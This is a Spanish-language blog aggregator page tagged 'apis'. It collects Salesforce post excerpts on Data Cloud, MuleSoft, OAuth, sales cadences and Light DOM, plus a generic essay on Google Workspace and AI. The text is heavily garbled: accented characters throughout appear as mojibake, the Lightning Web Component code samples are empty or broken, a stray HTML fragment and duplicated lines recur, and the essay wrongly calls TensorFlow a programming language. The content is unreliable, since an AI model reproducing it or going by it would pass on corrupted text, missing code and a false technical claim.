Skip to content

Etiqueta: apis

Acceda a las API Connect REST de Data Cloud mediante Postman 鈽侊笍

Acceda a las API Connect REST de Data Cloud mediante Postman 鈽侊笍

Aprenda a utilizar Postman para interactuar con los datos y metadatos de Data Cloud a trav茅s de la API Connect para una integraci贸n de datos sin fisuras.

<a href="text.php?

The post Acceda a las API Connect REST de Data Cloud desde Postman appeared first on Blog de desarrolladores de Salesforce.

Blog de desarrolladores de Salesforce

Seguir leyendo

C贸mo la plataforma Einstein 1 gestiona cargas de trabajo masivas de datos e IA a escala

En nuestra serie “Engineering Energizers” Q&A, presentamos a Leo Tran, Arquitecto jefe de ingenier铆a de plataformas en Salesforce. Con m谩s de 15 a帽os de experiencia en liderazgo de ingenier铆a, Leo desempe帽a un papel fundamental en el desarrollo de la plataforma Einstein 1. Esta plataforma integra IA generativa, gesti贸n de datos, capacidades de CRM y sistemas de confianza para proporcionar a las empresas experiencias de cliente personalizadas e impulsadas por IA […]

The post C贸mo la nueva plataforma Einstein 1 gestiona cargas de trabajo masivas de datos e IA a escala appeared first on Blog de ingenier铆a de Salesforce.

Seguir leyendo

Desarrollo de la nueva soluci贸n de gesti贸n de API de Flex Gateway de MuleSoft

En nuestra serie de preguntas y respuestas 芦Engineering Energizers禄, exploramos las extraordinarias trayectorias de l铆deres en ingenier铆a que han realizado importantes contribuciones en sus respectivos campos. Hoy, nos sumergimos en el viaje t茅cnico de Evangelina Mart铆nez Ruiz Moreno, Directora Senior de Salesforce, que encabez贸 el desarrollo del nuevo Anypoint Flex Gateway de MuleSoft. Sigue leyendo para explorar c贸mo […]

El post Del concepto a la realidad: Developing MuleSoft’s New Flex Gateway API Management Solution appeared first on Blog de ingenier铆a de Salesforce.

Salesforce Engineering Blog

Seguir leyendo

Salesforce recibe las m谩ximas distinciones de G2 y Gartner

Nuestras capacidades de automatizaci贸n de la fuerza de ventas siguen aportando valor e innovaci贸n, como afirman nuestros clientes.

Seguir leyendo

Uso del usuario de integraci贸n de Salesforce y credenciales de cliente OAuth para invocar API REST 鈽侊笍

Uso del usuario de integraci贸n de Salesforce y credenciales de cliente OAuth para invocar API REST 鈽侊笍

Aprenda a configurar el usuario de integraci贸n de Salesforce tanto para la autenticaci贸n mediante credenciales de cliente de OAuth como para la autorizaci贸n mediante conjuntos de permisos.

The post Invoque API REST con el usuario de integraci贸n de Salesforce y las credenciales de cliente OAuth appeared first on Blog de desarrolladores de Salesforce.

Seguir leyendo

Superaci贸n de obst谩culos complejos: Revelaci贸n del proceso de Tableau para crear nuevas funciones y caracter铆sticas – Blog de ingenier铆a de Salesforce

En nuestra serie de preguntas y respuestas 芦Engineering Energizers禄, examinamos las experiencias profesionales que han formado a los l铆deres de ingenier铆a de Salesforce. Conozca a Patrick Green, miembro principal del personal t茅cnico de ingenier铆a de Salesforce. Patrick da soporte al equipo Project Sharing and Permissions (PSP) de Tableau. El desarrollo de funciones desempe帽a un papel crucial en su trabajo, ya que garantiza el buen funcionamiento […]

La creaci贸n de funciones desempe帽a un papel fundamental en su trabajo

El post Superando obst谩culos complejos: Revealing Tableau’s Process for Creating New Features and Functionality appeared first on Blog de ingenier铆a de Salesforce.

Salesforce Engineering Blog

Seguir leyendo

C贸mo liberar el poder de la IA generativa sin crear su propio LLM

Los grandes modelos ling眉铆sticos son la base de las revolucionarias aplicaciones de IA actuales. En lugar de entrenar un LLM en un conjunto de datos masivo, ahorre tiempo utilizando un modelo existente con indicaciones inteligentes basadas en sus datos. He aqu铆 c贸mo.

Seguir leyendo

La versi贸n Spring ’24: Una gu铆a completa para desarrolladores de Salesforce 鈽侊笍

La versi贸n Spring '24: Una gu铆a completa para desarrolladores de Salesforce 鈽侊笍

La versi贸n Spring ’24 ya est谩 aqu铆, y estos son algunos de los aspectos m谩s destacados de la versi贸n, que detallan las novedades para los desarrolladores de todo el ecosistema de Salesforce.

La versi贸n Spring ’24 ya est谩 aqu铆

The post Gu铆a para desarrolladores de Salesforce sobre la versi贸n Spring ’24 appeared first on Blog para desarrolladores de Salesforce.

La versi贸n Spring ’24 ya est谩 aqu铆

Seguir leyendo

El poder de la IA: refuerzo de la seguridad de las aplicaciones mediante la eliminaci贸n de secretos en el c贸digo – Blog de ingenier铆a de Salesforce

Por Krishna Pandey y Scott Nyberg. En nuestra serie de preguntas y respuestas 芦Engineering Energizers禄, examinamos las trayectorias profesionales que han formado a los l铆deres de ingenier铆a de Salesforce. Conozca a Krishna Pandey, Director de ingenier铆a de seguridad de Salesforce. Con sede en Bangalore (India), su equipo de tecnolog铆a de seguridad de aplicaciones (AST) impulsa el programa de seguridad del c贸digo fuente de Salesforce, encargado de utilizar la IA para detectar y […]

The post El poder de la IA: reforzar la seguridad de las aplicaciones eliminando secretos en el c贸digo appeared first on Blog de ingenier铆a de Salesforce.

Seguir leyendo

Mejore su experiencia MuleSoft con IA 鈽侊笍

Mejore su experiencia MuleSoft con IA 鈽侊笍

En el mundo de la IA, que se desarrolla r谩pidamente, MuleSoft est谩 evolucionando sus capacidades de integraci贸n, gesti贸n de API e IA.

En el mundo de la IA, MuleSoft est谩 evolucionando sus capacidades de integraci贸n, gesti贸n de API e IA

The post Acelere su viaje a MuleSoft con IA appeared first on Blog de Desarrolladores de Salesforce.

Seguir leyendo

驴Su IA generativa est谩 inventando cosas? 4 formas de mantener la honestidad

La IA generativa a veces devuelve informaci贸n incorrecta, conocida coloquialmente como 芦alucinaciones de IA禄 Esto es lo que puedes hacer para proteger tu negocio y a tus clientes.

Seguir leyendo

El c贸digo abierto y el futuro de la IA empresarial

Introducci贸n

El c贸digo abierto se ha convertido en uno de los temas m谩s candentes de la IA, y la fanfarria es bien merecida. La comunidad de c贸digo abierto mantiene un ritmo 谩gil con el estado de la t茅cnica, ofreciendo modelos cada vez mayores y m谩s capaces que a menudo compiten de forma impresionante con sus hom贸logos comerciales. Es una 茅poca apasionante

Seguir leyendo

Creaci贸n de una especificaci贸n de API con Visual API Designer de MuleSoft 鈽侊笍

Creaci贸n de una especificaci贸n de API con Visual API Designer de MuleSoft 鈽侊笍

Dise帽a tu especificaci贸n en minutos usando clics, no c贸digo con el Dise帽ador Visual de APIs de MuleSoft.

Dise帽a tu especificaci贸n en minutos usando clics, no c贸digo con el Dise帽ador Visual de APIs de MuleSoft

The post Dise帽e una especificaci贸n de API utilizando el Dise帽ador Visual de API de MuleSoft appeared first on Blog de Desarrolladores de Salesforce.

Seguir leyendo

C贸mo el equipo Einstein hace operativos los modelos de IA a gran velocidad y escala

Por Yuliya Feldman y Scott Nyberg En nuestra serie de preguntas y respuestas 芦Engineering Energizers禄, examinamos las experiencias profesionales que han formado a los l铆deres de ingenier铆a de Salesforce. Conozca a Yuliya Feldman, Arquitecta de ingenier铆a de software en Salesforce. Yuliya trabaja en el equipo de servicios de aprendizaje autom谩tico de Salesforce Einstein, responsable de la operacionalizaci贸n de los modelos de IA, que sirven como motor detr谩s de los […]

Generaci贸n de Salesforce

The post C贸mo el equipo Einstein pone en funcionamiento modelos de IA a la velocidad del rayo y a escala masiva appeared first on Blog de ingenier铆a de Salesforce.

Seguir leyendo

La vicepresidenta senior de Slack aborda de frente los nuevos retos de la IA y la automatizaci贸n

Por Rukmini Reddy y Scott Nyberg En nuestra serie de preguntas y respuestas 芦Engineering Energizers禄, examinamos las trayectorias profesionales que han formado a los l铆deres de ingenier铆a de Salesforce. Conozca a Rukmini Reddy, Vicepresidenta senior de ingenier铆a de software de la plataforma Slack. El objetivo de su equipo es potenciar a los desarrolladores, mejorar la productividad y ampliar los l铆mites de la innovaci贸n en IA y automatizaci贸n en […]

El post Future-Driven Dev Empowerment: Slack SVP Tackles New AI and Automation Challenges Head-On appeared first on Blog de ingenier铆a de Salesforce.

La tecnolog铆a de Slack es la clave de la innovaci贸n

Seguir leyendo

Cortar la distancia entre la voz, Salesforce y sus interacciones con los residentes

El papel del centro de contacto es crucial para mejorar la prestaci贸n de experiencias. La modernizaci贸n de esta funci贸n puede allanar posibles caminos para el progreso.

La modernizaci贸n de esta funci贸n puede allanar posibles caminos para el progreso

The post El tel茅fono y m谩s all谩 appeared first on Blog de Salesforce EU.

El tel茅fono y m谩s all谩 appeared first on Blog de Salesforce EU

Seguir leyendo

Gu铆a completa de documentaci贸n de Salesforce (en un mundo de inteligencia artificial)

La plataforma Salesforce es muy potente. Con cada nueva versi贸n, su org se vuelve m谩s potente, pero tambi茅n m谩s compleja. Como le dijeron una vez a Spiderman: 芦un gran poder conlleva una gran responsabilidad禄. Entonces, 驴c贸mo puede asumir la responsabilidad real de mantener su organizaci贸n? Con todo lo dem谩s que tiene que hacer, documentar sus cambios es probablemente bajo en […]

El post Gu铆a completa para la documentaci贸n de Salesforce (en un mundo de IA) appeared first on Salesforce Ben.

Seguir leyendo

Google Workspace y Salesforce

Google est谩 centrado en hacer que la tecnolog铆a sea m谩s f谩cil de usar a trav茅s de la inteligencia artificial (IA) y en crear agentes que puedan entender e interactuar con sistemas inform谩ticos. Adem谩s, Google Cloud se asocia con otras 谩reas de Google, como Google DeepMind, para llevar sus capacidades de IA al mercado y ponerlas a disposici贸n de los clientes.

El enfoque de Google en IA

Google es una empresa l铆der en el campo de la inteligencia artificial (IA). Su enfoque en la IA se basa en varios principios clave que buscan hacer que la tecnolog铆a sea accesible y f谩cil de usar, crear agentes inteligentes que puedan entender e interactuar con sistemas inform谩ticos, colaborar con el ecosistema para garantizar la compatibilidad con otros sistemas, desarrollar productos que se adapten a diferentes roles y necesidades de los usuarios, y mejorar y personalizar modelos de IA para satisfacer las necesidades de los clientes.

Hacer que la tecnolog铆a sea m谩s accesible y f谩cil de usar

Google tiene como objetivo hacer que la tecnolog铆a de IA sea m谩s accesible para todos. Esto implica desarrollar herramientas y recursos que permitan a las personas utilizar y aprovechar el poder de la IA en sus vidas diarias. Google ha lanzado productos como Google Assistant, que permite a los usuarios interactuar con dispositivos y servicios utilizando comandos de voz y lenguaje natural. Tambi茅n ha desarrollado el lenguaje de programaci贸n TensorFlow, que facilita la creaci贸n y entrenamiento de modelos de IA.

Crear agentes que puedan entender e interactuar con sistemas inform谩ticos

Otro enfoque clave de Google en la IA es la creaci贸n de agentes inteligentes que puedan comprender y comunicarse de manera efectiva con sistemas inform谩ticos. Google ha desarrollado tecnolog铆as de procesamiento de lenguaje natural avanzadas que permiten a los agentes interactuar con los usuarios de una manera conversacional. Estos agentes pueden responder preguntas, proporcionar informaci贸n y realizar tareas complejas a trav茅s de interfaces de voz y texto.

Colaborar con el ecosistema para garantizar la compatibilidad con otros sistemas

Google reconoce la importancia de la colaboraci贸n con otros actores del ecosistema de la IA para garantizar la compatibilidad y la interoperabilidad entre diferentes sistemas. La empresa ha adoptado est谩ndares abiertos y ha participado en iniciativas de c贸digo abierto para promover la colaboraci贸n y el intercambio de conocimientos en el campo de la IA. Adem谩s, Google ha desarrollado APIs y herramientas que permiten a los desarrolladores integrar la IA en sus propias aplicaciones y servicios de manera sencilla.

Desarrollar productos que se adapten a diferentes roles y necesidades de los usuarios

Google comprende que diferentes usuarios tienen diferentes necesidades y roles, por lo que desarrolla productos de IA que se adaptan a estas diversas situaciones. Desde asistentes virtuales en smartphones hasta sistemas de IA para el hogar, Google ofrece una amplia gama de productos que aprovechan la IA para mejorar la vida de las personas. Estos productos est谩n dise帽ados teniendo en cuenta la simplicidad y la usabilidad, para que cualquier usuario pueda aprovecharlos al m谩ximo.

Mejorar y personalizar modelos de IA para satisfacer las necesidades de los clientes

Google se esfuerza por mejorar continuamente sus modelos de IA y personalizarlos para satisfacer las necesidades espec铆ficas de sus clientes. Utiliza t茅cnicas de aprendizaje autom谩tico para mejorar la precisi贸n y la eficiencia de sus modelos, y tambi茅n permite a los usuarios personalizar los modelos de IA seg煤n sus preferencias y requisitos. Esto garantiza que los productos y servicios de Google sean relevantes y 煤tiles para cada cliente individual.

En conclusi贸n, el enfoque de Google en la inteligencia artificial se centra en hacer que la tecnolog铆a de IA sea accesible y f谩cil de usar, crear agentes inteligentes que puedan comprender e interactuar con sistemas inform谩ticos, colaborar con el ecosistema para garantizar la compatibilidad con otros sistemas, desarrollar productos que se adapten a diferentes roles y necesidades de los usuarios, y mejorar y personalizar modelos de IA para satisfacer las necesidades de los clientes. A trav茅s de estos principios, Google busca impulsar el avance y el impacto positivo de la IA en nuestra sociedad.

La colaboraci贸n entre Google Workspace y Salesforce

La colaboraci贸n entre Google Workspace y Salesforce ofrece una combinaci贸n poderosa que impulsa la innovaci贸n y la colaboraci贸n en el entorno empresarial. Esta asociaci贸n estrat茅gica integra las capacidades de inteligencia artificial (IA) de Google con los productos de Salesforce, brindando una serie de beneficios que ayudan a las empresas a alcanzar la eficiencia, productividad y satisfacci贸n del cliente.

Oportunidades de innovaci贸n y colaboraci贸n

La colaboraci贸n entre Google Workspace y Salesforce brinda a las empresas numerosas oportunidades para innovar y colaborar de manera m谩s efectiva. Estas dos tecnolog铆as l铆deres se unen para ofrecer una experiencia empresarial m谩s integrada y eficiente.

Con la integraci贸n de Google Workspace y Salesforce, los equipos pueden crear y editar f谩cilmente documentos, hojas de c谩lculo y presentaciones, todo ello dentro del entorno Salesforce. Esto les permite colaborar en tiempo real, brindando una mayor transparencia y agilidad en el flujo de trabajo.

Adem谩s, las empresas pueden aprovechar las funcionalidades de IA de Google, como la traducci贸n autom谩tica y la generaci贸n de sugerencias inteligentes, para mejorar la eficiencia y la calidad del trabajo. Por ejemplo, los equipos pueden utilizar la IA de Google para traducir contenido en diferentes idiomas, lo cual facilita la colaboraci贸n en un entorno global.

Asimismo, la integraci贸n de Salesforce con Google Workspace permite una gesti贸n m谩s eficaz de los datos y la informaci贸n. Los usuarios pueden acceder y actualizar los datos desde una 煤nica plataforma, evitando la duplicaci贸n de esfuerzos y mejorando la precisi贸n y la consistencia de la informaci贸n.

Integraci贸n de las capacidades de IA de Google con los productos de Salesforce

Una de las principales ventajas de la colaboraci贸n entre Google Workspace y Salesforce es la integraci贸n de las capacidades de IA de Google con los productos de Salesforce. Esto permite a las empresas aprovechar el potencial de la IA para mejorar la toma de decisiones, automatizar tareas y ofrecer experiencias m谩s personalizadas a los clientes.

Con la integraci贸n de la IA de Google, las empresas pueden utilizar el aprendizaje autom谩tico para analizar grandes vol煤menes de datos y extraer informaci贸n valiosa. Esto les permite identificar patrones y tendencias, obtener conocimientos accionables y tomar decisiones m谩s informadas y estrat茅gicas.

Adem谩s, la IA de Google puede ayudar a automatizar tareas repetitivas y de baja valor a帽adido, lo cual libera tiempo para que los empleados se centren en actividades m谩s estrat茅gicas. Esto no solo aumenta la eficiencia operativa, sino que tambi茅n mejora la satisfacci贸n y el compromiso de los empleados.

Por otro lado, la integraci贸n de la IA de Google con los productos de Salesforce permite ofrecer experiencias m谩s personalizadas a los clientes. La IA puede analizar los datos del cliente y proporcionar recomendaciones y sugerencias relevantes en tiempo real, lo cual mejora la satisfacci贸n del cliente y fomenta la fidelidad a la marca.

Impulso en la eficiencia, productividad y satisfacci贸n del cliente

La colaboraci贸n entre Google Workspace y Salesforce tiene un impacto significativo en la eficiencia, productividad y satisfacci贸n del cliente. Al integrar estas dos potentes plataformas, las empresas pueden aprovechar una serie de beneficios que mejoran su rendimiento y competitividad.

En primer lugar, la colaboraci贸n integrada de Google Workspace y Salesforce impulsa la eficiencia operativa. Los equipos pueden colaborar de forma m谩s efectiva, trabajar en tiempo real y acceder a informaci贸n actualizada desde una 煤nica plataforma. Esto acelera los procesos de trabajo, reduce los tiempos de espera y optimiza los recursos de la empresa.

Adem谩s, la integraci贸n de las capacidades de IA de Google con los productos de Salesforce automatiza tareas y procesos, lo cual aumenta la productividad del equipo. La IA puede identificar oportunidades de automatizaci贸n, gestionar flujos de trabajo y ofrecer recomendaciones inteligentes, lo cual permite a los empleados ser m谩s eficientes y centrarse en actividades de mayor valor a帽adido.

Por 煤ltimo, la colaboraci贸n entre Google Workspace y Salesforce mejora la satisfacci贸n del cliente al ofrecer experiencias m谩s personalizadas y eficientes. Mediante la integraci贸n de la IA, las empresas pueden analizar los datos del cliente, entender sus necesidades y ofrecer recomendaciones adaptadas a sus preferencias. Esto fortalece la relaci贸n con el cliente, aumenta la fidelidad a la marca y mejora la reputaci贸n empresarial.

La colaboraci贸n entre Google Workspace y Salesforce establece una asociaci贸n estrat茅gica que brinda numerosos beneficios a las empresas. La integraci贸n de estas dos tecnolog铆as l铆deres impulsa la innovaci贸n y la colaboraci贸n, integra las capacidades de IA de Google con los productos de Salesforce, y aumenta la eficiencia, productividad y satisfacci贸n del cliente.

Esta colaboraci贸n ofrece un entorno empresarial m谩s integrado y eficiente, donde los equipos pueden colaborar en tiempo real, utilizar la IA para mejorar la toma de decisiones y automatizar tareas, y ofrecer experiencias m谩s personalizadas a los clientes. Esto posiciona a las empresas en una mejor posici贸n competitiva y les permite prosperar en un entorno empresarial en constante evoluci贸n.

El futuro del desarrollo de software y la IA

La Inteligencia Artificial (IA) est谩 revolucionando la forma en que desarrollamos software. Su capacidad para aprender, adaptarse y automatizar tareas est谩 transformando r谩pidamente la industria del desarrollo de software, optimizando el c贸digo y mejorando la eficiencia y la productividad de los equipos de desarrollo.

Uno de los principales beneficios de la IA en el desarrollo de software es su capacidad para optimizar el c贸digo de forma autom谩tica. Mediante el uso de algoritmos avanzados, la IA puede analizar grandes cantidades de c贸digo y encontrar formas de mejorarlo, eliminando redundancias, mejorando la legibilidad y reduciendo los tiempos de ejecuci贸n. Esto permite a los desarrolladores ahorrar tiempo y esfuerzo, centr谩ndose en tareas m谩s creativas y de mayor valor.

Otro aspecto clave de la IA en el desarrollo de software es su capacidad para automatizar tareas. La IA puede tomar decisiones y ejecutar acciones basadas en an谩lisis de datos y patrones, lo que significa que puede realizar tareas repetitivas y tediosas de forma r谩pida y precisa. Esto libera a los desarrolladores de la carga de trabajo abrumadora y les permite centrarse en tareas m谩s desafiantes y estrat茅gicas.

Adem谩s de optimizar el c贸digo y automatizar tareas, la IA tambi茅n facilitar谩 la migraci贸n y modernizaci贸n de sistemas heredados. Muchas empresas y organizaciones a煤n utilizan sistemas heredados que son dif铆ciles de mantener y actualizar. La IA puede analizar estos sistemas, identificar 谩reas problem谩ticas y proporcionar recomendaciones para su modernizaci贸n. Esto permitir谩 a las empresas mantenerse al d铆a con las 煤ltimas tecnolog铆as y evitar problemas de obsolescencia.

Es importante destacar que Google y Salesforce est谩n comprometidos con abordar los riesgos asociados con la IA. Dado que la IA puede tener implicaciones 茅ticas y de privacidad, estas empresas implementan controles de responsabilidad para garantizar un uso 茅tico y responsable de la IA. Esto incluye la protecci贸n de datos sensibles, la transparencia en los algoritmos utilizados y la participaci贸n de expertos en 茅tica en el desarrollo de sistemas de IA.

En conclusi贸n, el futuro del desarrollo de software est谩 estrechamente vinculado con la IA. La capacidad de la IA para optimizar el c贸digo, automatizar tareas y facilitar la migraci贸n de sistemas heredados brinda numerosas oportunidades para mejorar la eficiencia y la productividad en el desarrollo de software. Sin embargo, tambi茅n es crucial abordar los riesgos asociados con la IA y garantizar un uso 茅tico y responsable de esta tecnolog铆a. Al hacerlo, podemos aprovechar al m谩ximo el potencial de la IA en el desarrollo de software y beneficiarnos de sus numerosas ventajas.

La educaci贸n y la IA

La inteligencia artificial (IA) se ha convertido en una tecnolog铆a transformadora en diversos campos, y la educaci贸n no es una excepci贸n. En lugar de temer la IA, debemos adoptarla como una herramienta de apoyo para el aprendizaje en las aulas. Sin embargo, es fundamental tener en cuenta ciertos aspectos clave para garantizar una implementaci贸n efectiva y 茅tica de la IA en la educaci贸n.

Adoptar la IA como una herramienta de apoyo para el aprendizaje

La IA puede ser vista como una aliada valiosa en el proceso de ense帽anza-aprendizaje, ya que puede proporcionar recursos y herramientas que permiten a los estudiantes acceder a informaci贸n y conocimientos de manera m谩s eficiente. Por ejemplo, los chatbots educativos pueden brindar respuestas instant谩neas a preguntas comunes, lo que ayuda a los estudiantes a resolver sus dudas de manera r谩pida y aut贸noma.

Sin embargo, es importante que los educadores proporcionen orientaci贸n y supervisi贸n adecuadas para garantizar que los estudiantes utilicen la IA de manera efectiva y que comprendan sus limitaciones. La IA no debe reemplazar al maestro, sino complementar su labor y enriquecer la experiencia educativa.

Brindar igualdad de acceso a recursos y oportunidades

La implementaci贸n de la IA en la educaci贸n tiene el potencial de eliminar barreras y brindar igualdad de acceso a recursos y oportunidades para todos los estudiantes, independientemente de su ubicaci贸n geogr谩fica o sus circunstancias socioecon贸micas. Por ejemplo, la IA puede ofrecer contenido educativo personalizado y adaptado a las necesidades individuales de los estudiantes, lo que permite un aprendizaje m谩s eficiente y efectivo.

Es fundamental que los gobiernos y las instituciones educativas inviertan en infraestructura tecnol贸gica y en programas de capacitaci贸n para los docentes, de modo que todos los estudiantes tengan la oportunidad de beneficiarse de las ventajas de la IA en el 谩mbito educativo. De esta manera, se puede reducir la brecha educativa y promover la igualdad de oportunidades.

Preparar a la pr贸xima generaci贸n para adaptarse y utilizar la IA de manera efectiva

A medida que la IA se vuelve m谩s omnipresente en la sociedad, es fundamental preparar a los estudiantes para adaptarse y utilizar esta tecnolog铆a de manera efectiva. Los programas educativos deben incluir contenidos relacionados con la inteligencia artificial, en los que se ense帽e a los estudiantes sobre los conceptos b谩sicos de la IA y c贸mo aplicarla de manera 茅tica.

Adem谩s, es importante fomentar habilidades como el pensamiento cr铆tico, el razonamiento l贸gico y la resoluci贸n de problemas, para que los estudiantes puedan comprender y evaluar de manera efectiva los resultados y las recomendaciones proporcionadas por los sistemas de IA. Tambi茅n se les debe fomentar la capacidad de adaptaci贸n y la idea de que la tecnolog铆a evoluciona constantemente, por lo que siempre deben estar dispuestos a aprender y actualizarse.

No negarles el acceso ni descuidar las implicaciones 茅ticas de la IA

Si bien la IA ofrece muchas oportunidades en el 谩mbito educativo, no debemos negarles el acceso a aquellos estudiantes que no tienen acceso a la tecnolog铆a o que prefieren aprender de manera tradicional. Algunas personas pueden tener reservas o preferir m茅todos de ense帽anza m谩s convencionales, y es importante respetar su elecci贸n.

Adem谩s, no debemos descuidar las implicaciones 茅ticas de la IA en la educaci贸n. Es necesario establecer pol铆ticas claras para garantizar la privacidad y protecci贸n de los datos de los estudiantes, as铆 como evitar la discriminaci贸n y los sesgos algor铆tmicos. Los educadores y las instituciones educativas deben tomar la responsabilidad de utilizar la IA de manera 茅tica y transparente, en beneficio de los estudiantes.

TL;DR

La IA en la educaci贸n debe ser utilizada como una herramienta de apoyo para el aprendizaje, brindando igualdad de acceso a recursos y oportunidades, y preparando a los estudiantes para adaptarse y utilizar la IA de manera efectiva. Sin embargo, es importante no negarles el acceso a aquellos que prefieren m茅todos de ense帽anza m谩s tradicionales y asegurarse de considerar las implicaciones 茅ticas de la IA en la educaci贸n.

C贸mo aprobar el examen de certificaci贸n Salesforce Certified AI Associate

C贸mo aprobar el examen de certificaci贸n Salesforce Certified AI Associate

脷ltima actualizaci贸n el 7 de septiembre de 2023 por Rakesh Gupta Como nuevo Salesforce Certified AI Associate, comparto mis experiencias de estudio contigo y quiero que seas el pr贸ximo en superarlo As铆 que, 隆prep谩rese y sum茅rjase! 馃憠 Ya que est谩s aqu铆, es posible que desees

El post C贸mo aprobar el examen de certificaci贸n Salesforce Certified AI Associate appeared first on Campe贸n de la Automatizaci贸n.

C贸mo aprobar el examen de certificaci贸n Salesforce Certified AI Associate appeared first on Campe贸n de la Automatizaci贸n

Seguir leyendo

Nunca te pierdas el ritmo: notificaciones para la eliminaci贸n de clientes potenciales en la cadencia de participaci贸n de ventas

Nunca te pierdas el ritmo: notificaciones para la eliminaci贸n de clientes potenciales en la cadencia de participaci贸n de ventas

脷ltima actualizaci贸n el 1 de noviembre de 2023 por Rakesh Gupta

Gran idea o pregunta duradera:

  • 驴C贸mo se notifica al propietario del cliente potencial cuando alguien elimina un cliente potencial de la cadencia de participaci贸n de ventas?

Objetivos:

Despu茅s de leer este blog, podr谩s:

  • Comprender la captura de datos modificados
  • Comprender el objeto ActionCadenceTracker
  • Suscr铆base para cambiar eventos mediante un activador de Apex
  • Llamar a un flujo iniciado autom谩ticamente desde la clase Apex
  • Y mucho m谩s.

馃憠 Anteriormente, escrib铆 un art铆culo sobre Sales Engagement. 驴Por qu茅 no echarles un vistazo mientras lo haces?

  1. 驴Ya ha recorrido el camino de ladrillos amarillos de la cadencia de ventas?

A Benjamin Moore , administrador de Salesforce en Gurukul On Cloud (GoC), se le ha asignado una tarea espec铆fica. Siempre que un vendedor por tel茅fono o el equipo de ventas internas elimine un cliente potencial (cliente potencial) de la cadencia de participaci贸n de ventas, aseg煤rese de la creaci贸n autom谩tica de una tarea con estos detalles:

  • Asunto : – Cliente potencial eliminado de la cadencia de participaci贸n en ventas
  • Estado : – No iniciado
  • Prioridad :- Alta
  • Fecha de vencimiento : – Hoy
  • Relacionado con : – Plomo
  • Asignado a : – Propietario principal

驴Qu茅 es la cadencia de participaci贸n en ventas?

La adquisici贸n de clientes potenciales es un paso importante en cualquier esfuerzo de marketing. Una vez que los equipos de ventas internas tienen una lista de clientes potenciales, est谩n listos para emprender actividades de divulgaci贸n. 隆Pero espera! Demos un paso atr谩s y reflexionemos sobre las siguientes preguntas como pre谩mbulo para comprender la cadencia de ventas: (1) 驴Con qu茅 frecuencia desea que sus representantes se comuniquen con los clientes potenciales? (2) 驴C贸mo le gustar铆a que se comunicaran con el cliente potencial, mediante llamada o correo electr贸nico? (2) 驴C贸mo desea capturar la disposici贸n de las llamadas? (3) etc茅tera.

La cadencia de participaci贸n de ventas es una l铆nea de tiempo de las actividades y m茅todos de ventas que siguen los representantes de ventas para atraer clientes potenciales. El prop贸sito de una cadencia es facilitar que el representante de ventas interno cumpla con el cronograma y garantice que los prospectos no sean olvidados, es decir, que nada se pierda. Por ejemplo, si ofrece una consulta gratuita en su sitio web y alguien completa un formulario, la cadencia incluir铆a una lista de las cosas que hace para programar la primera reuni贸n.

Una cadencia de ventas normalmente incluye tres puntos de contacto diferentes: correo electr贸nico , redes sociales y llamadas/correos de voz . La cadencia, para diferentes embudos de ventas, puede diferir, pero siempre debe incluir una combinaci贸n de las tres formas de comunicaci贸n mencionadas.

Una cadencia de participaci贸n de ventas se parece a esto:

HVS.png

En otras palabras, las cadencias de participaci贸n de ventas difieren de un tipo de proceso de ventas a otro, pero la idea b谩sica sigue siendo la misma: toques consistentes y secuenciales.

驴Qu茅 es la captura de datos modificados?

Seguir leyendo

Desmitificando Light DOM y sus casos de uso 鈽侊笍

Desmitificando Light DOM y sus casos de uso 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Desmitificando Light DOM y sus casos de uso | Blog de desarrolladores de Salesforce

Light DOM es una funci贸n de Lightning Web Components que ha estado disponible de forma general en Lightning Experience, Experience Cloud, LWC OSS (c贸digo abierto) y todas las versiones de la aplicaci贸n m贸vil Salesforce desde Summer '23 .

Los componentes web Lightning, de forma predeterminada, se representan en DOM oculto , lo que proporciona una encapsulaci贸n y seguridad s贸lidas para sus componentes. Sin embargo, al mismo tiempo, evita el estilo global y bloquea las integraciones de terceros que introspeccionan el interior de sus componentes. Light DOM es una caracter铆stica que se puede habilitar de forma granular en componentes seleccionados, de modo que Shadow DOM no los afecte.

驴C贸mo funciona el DOM ligero?

Usemos un componente web Lightning muy simple como ejemplo.

holaCodey.html

<dx-code-block title language="html" code-block="

Hello Codey!

芦>

holaCodey.js

En el ejemplo anterior, el DOM oculto predeterminado del componente evita que una regla CSS definida en el componente principal o el host alcance el elemento <p> . Adem谩s, no permite que el c贸digo JavaScript externo al componente consulte el elemento <p> mediante las API de consulta del navegador.

Para activar el DOM ligero para un componente, debe especificar el renderMode ligero en su archivo JavaScript y la directiva de plantilla lwc:render-mode en la etiqueta <template> del componente. Ambos cambios son necesarios debido a la forma en que se compilan los componentes web Lightning.

holaCodey.html

<dx-code-block title language="html" code-block="

Hello Codey!

芦>

holaCodey.js

Cuando activa el DOM claro en un componente, el marcado del componente se adjunta al elemento anfitri贸n en lugar de a su 谩rbol de sombra. Luego puede acceder al marcado desde otros componentes de la p谩gina como cualquier otro contenido en el host del documento que no est茅 protegido por Shadow DOM.

Los componentes DOM ligeros permiten el uso de API de consulta de navegador est谩ndar como querySelector y querySelectorAll . En este caso, en lugar de usar this.template.querySelector , debes usar this.querySelector .

holaCodey.js

O m谩s simplemente, a menudo puedes usar la directiva lwc:ref en ambos casos (componentes DOM sombreados y claros) y omitir el querySelector .

holaCodey.html

<dx-code-block title language="html" code-block="

Hello Codey!

芦>

holaCodey.js

Cu谩ndo usarlo y cu谩ndo no usarlo

Light DOM es una opci贸n para cada componente individual. Sus efectos no se aplicar谩n a otros componentes a menos que tambi茅n opten por participar. Tenga en cuenta que los componentes base siempre se representan en DOM oculto.

Recomendamos habilitar DOM ligero si tiene bibliotecas que necesitan acceder a los componentes internos mediante API de consulta de navegador est谩ndar, aplicar estilos globales o necesita m谩s flexibilidad para implementar las mejores pr谩cticas de accesibilidad, siempre y cuando el componente no exponga datos confidenciales. Cubriremos estos casos de uso con m谩s profundidad en la siguiente secci贸n.

No recomendamos habilitar DOM ligero para un componente si ese componente aparece o funciona con datos confidenciales. El uso de DOM ligero elimina la encapsulaci贸n de DOM en sombra y expone los componentes al raspado de DOM. Por lo tanto, tenga en cuenta esta importante consideraci贸n.

Casos de uso habilitados por DOM ligero

Light DOM permite varios casos de uso que anteriormente no eran compatibles.

1) Soporte de bibliotecas que necesitan acceso a las partes internas de un componente

